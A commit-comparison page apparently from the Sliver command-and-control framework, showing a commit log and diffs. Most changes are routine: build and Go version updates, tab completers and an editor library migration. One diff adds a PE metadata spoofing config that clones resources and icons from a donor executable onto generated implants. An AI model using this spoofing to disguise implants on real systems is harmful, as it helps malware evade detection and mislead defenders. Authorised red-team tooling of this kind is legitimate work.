Compare commits

..
Author SHA1 Message Date
moloch-- 82d979436b Add support for additional wasm-donute options in windows execute-shellcode 2026-03-01 22:35:37 -08:00
Joe d2632e75bd Merge pull request #2199 from BishopFox/feature/go-tests2
Refactor unit tests to not write to main db
2026-03-01 09:47:23 -07:00
moloch-- a55831fb44 Go v1.25.7 2026-02-28 22:39:46 -08:00
moloch-- 39d4edec43 Tweak go-tests.sh 2026-02-28 22:08:59 -08:00
moloch-- bbdb08e7a4 Refactor go-tests.sh 2026-02-28 14:12:37 -08:00
moloch-- 39b488bd25 Refactor unit tests to not write to main db 2026-02-28 13:11:14 -08:00
Joe e7b8a24534 Merge pull request #2198 from BishopFox/feature/handler-recover
Feature/handler recover
2026-02-28 11:39:00 -07:00
moloch-- 17b9d611f8 Add panic/recover to mtls, dns, and wg handlers 2026-02-28 09:56:48 -08:00
moloch-- ed9075d065 Add better nil checks to various pb handlers 2026-02-28 09:52:40 -08:00
Joe 1f7221933d Merge pull request #2194 from BishopFox/crush/v2
Upgrade crush libs to v2
2026-02-25 09:22:24 -07:00
moloch-- 6333e0691a Upgrade crush libs to v2 2026-02-24 17:40:13 -08:00
moloch-- 3bbaf80510 v1.7.3 2026-02-23 20:49:28 -08:00
moloch-- 25726d8105 Revert wasm-donut to v0.0.3 2026-02-23 20:48:53 -08:00
moloch-- 67e9a7f37f Update wasm-donut to v0.0.6 2026-02-23 19:33:26 -08:00
moloch-- a5b6935da6 Tweak AGENTS.md 2026-02-23 07:10:28 -08:00
moloch-- 2e36f45bdf v1.7.2 2026-02-22 17:33:08 -08:00
Joe 3e06a9d5ee Merge pull request #2191 from BishopFox/feature/file-tab-completer
Feature/file tab completer
2026-02-22 18:32:27 -07:00
moloch-- 952b2df49d Update beignet 2026-02-22 16:42:32 -08:00
moloch-- 9769f1bb57 Fix mod vendor 2026-02-22 16:41:16 -08:00
moloch-- f5f2c80ad3 Update malasada to v0.0.3 2026-02-22 16:38:41 -08:00
moloch-- bb2edf63cf Add file tab completer to more commands 2026-02-22 16:37:30 -08:00
moloch-- cd711afe8a Add tab completer to generate --save 2026-02-22 16:26:32 -08:00
Joe f9bbbb34bb Merge pull request #2190 from BishopFox/skoveit-feature/PE-Metadata-Spoofing
Skoveit feature/pe metadata spoofing
2026-02-21 23:29:33 -07:00
moloch-- 64b91c56c0 Fix unit tests 2026-02-21 15:14:26 -08:00
moloch-- a6c7867a26 Fix unit tests 2026-02-21 14:22:18 -08:00
moloch-- 7f25c3bb06 Expand pe metadata spoofing feature 2026-02-21 12:36:47 -08:00
moloch-- 153cf29551 Fix unit tests 2026-02-21 06:30:01 -08:00
jjensn b85161e797 Declare vars before use 2026-02-21 06:29:59 -08:00
jjensn ed906fcffe typo: Add yamux client constructor 2026-02-21 06:29:58 -08:00
jjensn 3bbcf5697a Yamux logging for debug implants 2026-02-21 06:29:56 -08:00
moloch-- 4a425d2fd6 Fix 'websites rm' add tab completer issue #2185 2026-02-21 06:29:55 -08:00
Adam d0f752e118 Fix execute infinite spin
Signed-off-by: Adam <[email protected]>
2026-02-21 06:29:54 -08:00
Adam 7167621577 Change env-inheritance flag default to false
Signed-off-by: Adam <[email protected]>
2026-02-21 06:29:47 -08:00
Joe c3582fc203 Merge pull request #2189 from BishopFox/jjensn-fix/yamux-disable-logging
Jjensn fix/yamux disable logging
2026-02-19 22:29:46 -07:00
moloch-- 07c95b203f Fix unit tests 2026-02-19 18:05:57 -08:00
moloch-- 958e44deef Fix 'websites rm' add tab completer issue #2185 2026-02-19 17:54:55 -08:00
Adam 836395a2d6 Fix execute infinite spin
Signed-off-by: Adam <[email protected]>
2026-02-19 17:54:53 -08:00
Adam 1a7a1c9b2d Change env-inheritance flag default to false
Signed-off-by: Adam <[email protected]>
2026-02-19 17:54:27 -08:00
Joe 4ba285796f Merge pull request #2188 from BishopFox/fix/websites-rm
Fix 'websites rm' add tab completer issue #2185
2026-02-19 18:51:41 -07:00
Joe 0eb29ad9b8 Merge pull request #2187 from Aptimex/execute-fix
Fix: Execute default env inheritance issues
2026-02-19 18:06:43 -07:00
Adam ad8b329f85 Fix execute infinite spin
Signed-off-by: Adam <[email protected]>
2026-02-19 16:45:39 -07:00
Adam c6206257b6 Change env-inheritance flag default to false
Signed-off-by: Adam <[email protected]>
2026-02-19 16:20:59 -07:00
Ronan Kervella 8bbf06c156 Merge branch 'master' into feature/PE-Metadata-Spoofing 2026-02-19 12:42:31 -08:00
jjensn 4d4eab998f Declare vars before use 2026-02-18 13:34:24 -05:00
jjensn c081f17380 typo: Add yamux client constructor 2026-02-17 13:17:44 -05:00
jjensn fafbac3fa6 Yamux logging for debug implants 2026-02-17 12:59:34 -05:00
Anas 55a386ae1c Merge branch 'master' into feature/PE-Metadata-Spoofing 2026-02-16 19:54:15 +02:00
Anas 1f553496e3 Merge branch 'master' into feature/PE-Metadata-Spoofing 2026-02-16 15:50:07 +02:00
0xOral cd5db464e0 fix protoc version 2026-02-16 15:25:21 +02:00
0xOral c8be5a5b1b add --spoof feature 2026-02-16 02:27:59 +02:00
342 changed files with 44124 additions and 6975 deletions

No files matched your search

-23
View File
@@ -1,41 +1,18 @@
# Repository Guidelines
## Project Structure & Module Organization
- `client/` holds the CLI client and interactive commands.
- `server/` contains the server runtime, C2 logic, configs, and web assets.
- `implant/` is the implant runtime and transport implementations.
- `protobuf/` stores protobuf definitions and generated Go types.
- `util/` is shared helpers (crypto, encoders, minisign, etc.).
- `docs/sliver-docs/` is the Next.js documentation site and prebuild scripts.
- `vendor/` is the vendored Go dependency tree used by builds.
- Build outputs land in the repo root as `sliver-client*` and `sliver-server*`.
## Build, Test, and Development Commands
- `make` builds server + client using vendored modules and runs `go-assets.sh`.
- `make client` builds a CGO-free client; `make debug` keeps symbols.
- `make pb` regenerates protobuf stubs from `protobuf/`.
- `./go-tests.sh` runs the curated Go test suite with build tags.
- Docs site: `cd docs/sliver-docs && npm install && npm run dev` for local dev; `npm run build` for a static build.
- Go toolchain: the Makefile enforces Go >= 1.24.
## Coding Style & Naming Conventions
- Run `gofmt` on all Go code; keep package names lowercase and idiomatic.
- Avoid `CGO` and empty interfaces; prefer explicit types and interfaces.
- Do not import `server` packages from `client`.
- If `math/rand` is required, import it as `insecureRand` and avoid security use.
## Testing Guidelines
- Go tests follow standard `_test.go` naming within each package.
- Prefer `docker build --target test --build-arg GO_TESTS_FLAGS=--skip-generate .`
- Add or update tests when behavior changes; some server packages run longer tests.
## Commit & Pull Request Guidelines
- Commits must be signed for PRs to `master`; work in a feature branch.
- Commit subjects are short and imperative (e.g., "Fix ...", "Add ...", "Update ...", "Bump ...").
- Changes to `vendor/` should be in a distinct commit.
- PRs should link the tracking issue, note tests run, and confirm `gofmt` plus unit tests as applicable.
## Security Notes
- Default to secure configuration; fail closed rather than open.
- Avoid insecure algorithms (MD5/SHA1/AES-ECB); prefer AES-GCM and modern curves.
- Treat user input as untrusted: canonicalize paths and use restrictive file permissions.
+1 -1
View File
@@ -26,7 +26,7 @@ K := $(foreach exec,$(EXECUTABLES),\
GO_MAJOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f1)
GO_MINOR_VERSION = $(shell $(GO) version | cut -c 14- | cut -d' ' -f1 | cut -d'.' -f2)
MIN_SUPPORTED_GO_MAJOR_VERSION = 1
MIN_SUPPORTED_GO_MINOR_VERSION = 24
MIN_SUPPORTED_GO_MINOR_VERSION = 25
GO_VERSION_VALIDATION_ERR_MSG = Golang version is not supported, please update to at least $(MIN_SUPPORTED_GO_MAJOR_VERSION).$(MIN_SUPPORTED_GO_MINOR_VERSION)
SLIVER_PUBLIC_KEY ?= RWTZPg959v3b7tLG7VzKHRB1/QT+d3c71Uzetfa44qAoX5rH7mGoQTTR
+1
View File
@@ -124,4 +124,5 @@ under certain conditions; type 'licenses' for details.`)
saveAssetVersion(appDir)
}
_, _ = LoadSettings()
_, _ = LoadSpoofMetadataConfig()
}
+216
View File
@@ -0,0 +1,216 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
"path/filepath"
"gopkg.in/yaml.v3"
)
const spoofMetadataFileName = "spoof-metadata.yaml"
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
# Used by generate commands when --spoof-metadata is set.
#
# Fields that reference file content support either:
# - path: read bytes from a local file path
# - base64: inline base64 file content
# Do not set both path and base64 for the same object.
#
# Example 1: Minimal path-based metadata cloning (most common)
pe:
source:
name: metadata-source.exe
path: ""
# Optional icon donor. Reserved for future standalone icon mutation support.
icon:
name: icon.ico
path: ""
# Example 2: Inline/base64 source (uncomment and remove "path" above)
# source:
# name: metadata-source.exe
# base64: "TVqQAAMAAAAEAAAA..."
# Example 3: Optional PE structure overrides (advanced)
# Applied after metadata/resources are cloned from source.
# Omitted fields keep cloned values.
# resource_directory:
# characteristics: 0
# time_date_stamp: 0
# major_version: 1
# minor_version: 0
# number_of_named_entries: 0
# number_of_id_entries: 0
#
# resource_directory_entries:
# - name: 1
# offset_to_data: 0
#
# resource_data_entries:
# - offset_to_data: 0
# size: 0
# code_page: 0
# reserved: 0
#
# export_directory:
# characteristics: 0
# time_date_stamp: 0
# major_version: 1
# minor_version: 0
# name: 0
# base: 0
# number_of_functions: 0
# number_of_names: 0
# address_of_functions: 0
# address_of_names: 0
# address_of_name_ordinals: 0
`
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
type SpoofMetadataConfig struct {
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
}
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
type PESpoofMetadataConfig struct {
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
}
// SpoofMetadataDataSource points to bytes that should be sent to the server.
// Either Path or Base64 may be set.
type SpoofMetadataDataSource struct {
Name string `json:"name,omitempty" yaml:"name,omitempty"`
Path string `json:"path,omitempty" yaml:"path,omitempty"`
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
}
type ImageResourceDirectory struct {
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
}
type ImageResourceDirectoryEntry struct {
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
}
type ImageResourceDataEntry struct {
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
}
type ImageExportDirectory struct {
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
}
// SpoofMetadataConfigPath returns the spoof metadata config file path.
func SpoofMetadataConfigPath() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
return filepath.Join(rootDir, spoofMetadataFileName)
}
// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
// if the file is missing.
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
config := defaultSpoofMetadataConfig()
configPath := SpoofMetadataConfigPath()
data, err := os.ReadFile(configPath)
if err != nil {
if !os.IsNotExist(err) {
return defaultSpoofMetadataConfig(), err
}
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
return defaultSpoofMetadataConfig(), err
}
data = []byte(defaultSpoofMetadataConfigTemplate)
}
if err := yaml.Unmarshal(data, config); err != nil {
return defaultSpoofMetadataConfig(), err
}
normalizeSpoofMetadataConfig(config)
return config, nil
}
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
if config == nil {
config = defaultSpoofMetadataConfig()
}
normalizeSpoofMetadataConfig(config)
data, err := yaml.Marshal(config)
if err != nil {
return err
}
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
}
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
if config.PE == nil {
config.PE = &PESpoofMetadataConfig{}
}
if config.PE.Source == nil {
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
}
if config.PE.Icon == nil {
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
}
}
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
return &SpoofMetadataConfig{
PE: &PESpoofMetadataConfig{
Source: &SpoofMetadataDataSource{
Name: "metadata-source.exe",
Path: "",
},
Icon: &SpoofMetadataDataSource{
Name: "icon.ico",
Path: "",
},
},
}
}
+3
View File
@@ -1,6 +1,7 @@
package alias
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -32,6 +33,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
aliasCmd.AddCommand(aliasLoadCmd)
flags.NewCompletions(aliasLoadCmd).PositionalCompletion(carapace.ActionDirectories().Tag("alias directory").Usage("path to the alias directory"))
completers.RegisterLocalFilePathPositionalCompletion(aliasLoadCmd, 0)
aliasInstallCmd := &cobra.Command{
Use: consts.InstallStr + " [ALIAS]",
@@ -44,6 +46,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
}
aliasCmd.AddCommand(aliasInstallCmd)
flags.NewCompletions(aliasInstallCmd).PositionalCompletion(carapace.ActionFiles().Tag("alias file"))
completers.RegisterLocalFilePathPositionalCompletion(aliasInstallCmd, 0)
aliasRemove := &cobra.Command{
Use: consts.RmStr + " [ALIAS]",
+4
View File
@@ -1,6 +1,7 @@
package c2profiles
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/generate"
"github.com/bishopfox/sliver/client/command/help"
@@ -27,6 +28,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file", "f", "", "Path to C2 configuration file to import")
f.BoolP("overwrite", "o", false, "Overwrite profile if it exists")
})
completers.RegisterLocalFilePathFlagCompletion(importC2ProfileCmd, "file")
exportC2ProfileCmd := &cobra.Command{
Use: consts.ExportC2ProfileStr,
@@ -40,6 +42,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("file", "f", "", "Path to file to export C2 configuration to")
f.StringP("name", "n", consts.DefaultC2Profile, "HTTP C2 Profile name")
})
completers.RegisterLocalFilePathFlagCompletion(exportC2ProfileCmd, "file")
flags.BindFlagCompletions(exportC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["name"] = generate.HTTPC2Completer(con)
})
@@ -76,6 +79,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "HTTP C2 Profile name to save C2Profile as")
f.StringP("template", "t", consts.DefaultC2Profile, "HTTP C2 Profile to use as a template for the new profile")
})
completers.RegisterLocalFilePathFlagCompletion(generateC2ProfileCmd, "file")
flags.BindFlagCompletions(generateC2ProfileCmd, func(comp *carapace.ActionMap) {
(*comp)["template"] = generate.HTTPC2Completer(con)
+58
View File
@@ -22,6 +22,7 @@ import (
"net"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
)
// ClientInterfacesCompleter completes interface addresses on the client host.
@@ -84,3 +85,60 @@ func LocalProxyCompleter() carapace.Action {
}).Invoke(c).Prefix(prefix).ToA()
})
}
// LocalFilePathCompleter completes local file and directory paths.
func LocalFilePathCompleter() carapace.Action {
return carapace.ActionFiles().Tag("local file path")
}
// RegisterLocalFilePathFlagCompletion registers local file-path completion for a flag.
func RegisterLocalFilePathFlagCompletion(cmd *cobra.Command, name string) {
if cmd == nil {
return
}
if _, ok := cmd.GetFlagCompletionFunc(name); ok {
return
}
if cmd.Flags().Lookup(name) == nil && cmd.PersistentFlags().Lookup(name) == nil {
return
}
_ = cmd.RegisterFlagCompletionFunc(name, func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return nil, cobra.ShellCompDirectiveDefault
})
}
// RegisterLocalFilePathFlagCompletions registers local file-path completion for a list of flags.
func RegisterLocalFilePathFlagCompletions(cmd *cobra.Command, names ...string) {
for _, name := range names {
RegisterLocalFilePathFlagCompletion(cmd, name)
}
}
// RegisterLocalFilePathPositionalCompletion registers local file-path completion for a positional argument index.
func RegisterLocalFilePathPositionalCompletion(cmd *cobra.Command, index int) {
if cmd == nil || index < 0 {
return
}
if cmd.ValidArgsFunction != nil {
return
}
cmd.ValidArgsFunction = func(_ *cobra.Command, args []string, _ string) ([]string, cobra.ShellCompDirective) {
if len(args) == index {
return nil, cobra.ShellCompDirectiveDefault
}
return nil, cobra.ShellCompDirectiveNoFileComp
}
}
// RegisterLocalFilePathPositionalAnyCompletion registers local file-path completion for all positional arguments.
func RegisterLocalFilePathPositionalAnyCompletion(cmd *cobra.Command) {
if cmd == nil {
return
}
if cmd.ValidArgsFunction != nil {
return
}
cmd.ValidArgsFunction = func(_ *cobra.Command, _ []string, _ string) ([]string, cobra.ShellCompDirective) {
return nil, cobra.ShellCompDirectiveDefault
}
}
+4
View File
@@ -1,6 +1,7 @@
package crack
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -61,6 +62,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "wordlist name (blank = filename)")
})
carapace.Gen(wordlistsAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local wordlist file"))
completers.RegisterLocalFilePathPositionalCompletion(wordlistsAddCmd, 0)
wordlistsCmd.AddCommand(wordlistsAddCmd)
wordlistsRmCmd := &cobra.Command{
@@ -95,6 +97,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "rules name (blank = filename)")
})
carapace.Gen(rulesAddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local rules file"))
completers.RegisterLocalFilePathPositionalCompletion(rulesAddCmd, 0)
rulesCmd.AddCommand(rulesAddCmd)
rulesRmCmd := &cobra.Command{
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.StringP("name", "n", "", "hcstat2 name (blank = filename)")
})
carapace.Gen(hcstat2AddCmd).PositionalCompletion(carapace.ActionFiles().Usage("path to local hcstat2 file"))
completers.RegisterLocalFilePathPositionalCompletion(hcstat2AddCmd, 0)
hcstat2Cmd.AddCommand(hcstat2AddCmd)
hcstat2RmCmd := &cobra.Command{
+2
View File
@@ -1,6 +1,7 @@
package creds
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -65,6 +66,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["hash-type"] = CredsHashTypeCompleter(con)
})
carapace.Gen(credsAddFileCmd).PositionalCompletion(carapace.ActionFiles().Tag("credential file"))
completers.RegisterLocalFilePathPositionalCompletion(credsAddFileCmd, 0)
credsAddCmd.AddCommand(credsAddFileCmd)
credsRmCmd := &cobra.Command{
+5
View File
@@ -1,6 +1,7 @@
package cursed
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
@@ -75,6 +76,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(cursedChromeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
completers.RegisterLocalFilePathFlagCompletion(cursedChromeCmd, "payload")
cursedChromeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedChromeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Chrome CLI arguments"))
@@ -99,6 +101,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.BindFlagCompletions(cursedEdgeCmd, func(comp *carapace.ActionMap) {
(*comp)["payload"] = carapace.ActionFiles("js").Tag("javascript files")
})
completers.RegisterLocalFilePathFlagCompletion(cursedEdgeCmd, "payload")
cursedEdgeCmd.Flags().ParseErrorsWhitelist.UnknownFlags = true
carapace.Gen(cursedEdgeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("additional Edge CLI arguments"))
@@ -130,6 +133,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
flags.Bind("", false, CursedCookiesCmd, func(f *pflag.FlagSet) {
f.StringP("save", "s", "", "save to file")
})
completers.RegisterLocalFilePathFlagCompletion(CursedCookiesCmd, "save")
cursedScreenshotCmd := &cobra.Command{
Use: consts.ScreenshotStr,
@@ -144,6 +148,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
f.Int64P("quality", "q", 100, "screenshot quality (1 - 100)")
f.StringP("save", "s", "", "save to file")
})
completers.RegisterLocalFilePathFlagCompletion(cursedScreenshotCmd, "save")
return []*cobra.Command{cursedCmd}
}
+2
View File
@@ -1,6 +1,7 @@
package dllhijack
import (
"github.com/bishopfox/sliver/client/command/completers"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
@@ -37,6 +38,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
(*comp)["file"] = carapace.ActionFiles()
(*comp)["profile"] = generate.ProfileNameCompleter(con)
})
completers.RegisterLocalFilePathFlagCompletions(dllhijackCmd, "reference-file", "file")
carapace.Gen(dllhijackCmd).PositionalCompletion(carapace.ActionValues().Usage("Path to upload the DLL to on the remote system"))
return []*cobra.Command{dllhijackCmd}
+12 -2
View File
@@ -9,6 +9,7 @@ import (
"time"
"unicode/utf8"
tea "charm.land/bubbletea/v2"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/lexers"
"github.com/bishopfox/sliver/client/command/filesystem"
@@ -17,8 +18,9 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util/encoders"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/colorprofile"
"github.com/spf13/cobra"
"golang.org/x/term"
"google.golang.org/protobuf/proto"
)
@@ -151,7 +153,15 @@ func EditCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func runEditor(content, filename string, lexer chroma.Lexer, lexerName string, showLineNumbers bool) (editorResult, error) {
model := newEditorModel(content, filename, lexer, lexerName, showLineNumbers)
program := tea.NewProgram(model, tea.WithAltScreen())
width, height := 80, 24
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
width, height = w, h
}
program := tea.NewProgram(
model,
tea.WithWindowSize(width, height),
tea.WithColorProfile(colorprofile.TrueColor),
)
finalModel, err := program.Run()
if err != nil {
return editorResult{}, err
+51 -31
View File
@@ -6,11 +6,11 @@ import (
"strings"
"unicode"
tea "charm.land/bubbletea/v2"
"charm.land/lipgloss/v2"
"github.com/alecthomas/chroma/v2"
"github.com/alecthomas/chroma/v2/formatters"
"github.com/alecthomas/chroma/v2/styles"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/lipgloss"
"github.com/charmbracelet/x/ansi"
"golang.org/x/term"
)
@@ -69,9 +69,12 @@ type editorModel struct {
}
var (
cursorStyle = lipgloss.NewStyle().Reverse(true)
statusStyle = lipgloss.NewStyle().Reverse(true)
lineStyle = lipgloss.NewStyle()
lineStyle = lipgloss.NewStyle()
)
const (
ansiReverseOn = "\x1b[7m"
ansiReverseOff = "\x1b[0m"
)
func newEditorModel(content, filename string, lexer chroma.Lexer, syntaxName string, showLineNumbers bool) *editorModel {
@@ -108,28 +111,29 @@ func (m *editorModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
m.height = msg.Height
m.ensureCursorVisible()
return m, nil
case tea.KeyMsg:
case tea.KeyPressMsg:
if m.clearMessage {
m.message = ""
m.clearMessage = false
}
if msg.Type == tea.KeyCtrlC {
key := msg.Key()
if key.Mod.Contains(tea.ModCtrl) && key.Code == 'c' {
m.action = actionQuit
return m, tea.Quit
}
switch m.mode {
case modeCommand:
return m.handleCommand(msg)
return m.handleCommand(key)
case modeInsert:
return m.handleInsert(msg)
return m.handleInsert(key)
default:
return m.handleNormal(msg)
return m.handleNormal(key)
}
}
return m, nil
}
func (m *editorModel) View() string {
func (m *editorModel) View() tea.View {
if m.width == 0 || m.height == 0 {
if w, h, err := term.GetSize(0); err == nil && w > 0 && h > 0 {
m.width = w
@@ -152,19 +156,33 @@ func (m *editorModel) View() string {
}
if m.height < 2 {
return b.String()
return editorView(b.String())
}
b.WriteByte('\n')
b.WriteString(statusStyle.Width(m.width).Render(m.statusLine()))
b.WriteString(renderStatusBar(m.width, m.statusLine()))
if m.height < 3 {
return b.String()
return editorView(b.String())
}
b.WriteByte('\n')
b.WriteString(lineStyle.Width(m.width).Render(m.commandLine()))
return b.String()
return editorView(b.String())
}
func renderStatusBar(width int, text string) string {
return ansiReverseOn + lineStyle.Width(width).Render(text) + ansiReverseOff
}
func renderCursorCell(cell string) string {
return ansiReverseOn + cell + ansiReverseOff
}
func editorView(content string) tea.View {
v := tea.NewView(content)
v.AltScreen = true
return v
}
func (m *editorModel) result() editorResult {
@@ -176,8 +194,8 @@ func (m *editorModel) result() editorResult {
}
}
func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleCommand(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
m.command = ""
@@ -196,14 +214,16 @@ func (m *editorModel) handleCommand(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
}
case tea.KeyBackspace:
m.command = popRune(m.command)
case tea.KeyRunes:
m.command += string(msg.Runes)
default:
if key.Text != "" {
m.command += key.Text
}
}
return m, nil
}
func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleInsert(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.mode = modeNormal
case tea.KeyEnter:
@@ -222,8 +242,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveDown()
case tea.KeyTab:
m.insertRune('\t')
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
m.insertRune(r)
}
}
@@ -231,8 +251,8 @@ func (m *editorModel) handleInsert(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
return m, nil
}
func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
switch msg.Type {
func (m *editorModel) handleNormal(key tea.Key) (tea.Model, tea.Cmd) {
switch key.Code {
case tea.KeyEsc:
m.pending = 0
case tea.KeyLeft:
@@ -243,8 +263,8 @@ func (m *editorModel) handleNormal(msg tea.KeyMsg) (tea.Model, tea.Cmd) {
m.moveUp()
case tea.KeyDown:
m.moveDown()
case tea.KeyRunes:
for _, r := range msg.Runes {
default:
for _, r := range key.Text {
if m.handleNormalRune(r) {
break
}
@@ -409,9 +429,9 @@ func (m *editorModel) renderLine(index int) string {
if cursor >= start && cursor <= start+contentWidth {
rel := cursor - start
if rel < len(visible) {
lineText = string(visible[:rel]) + cursorStyle.Render(string(visible[rel])) + string(visible[rel+1:])
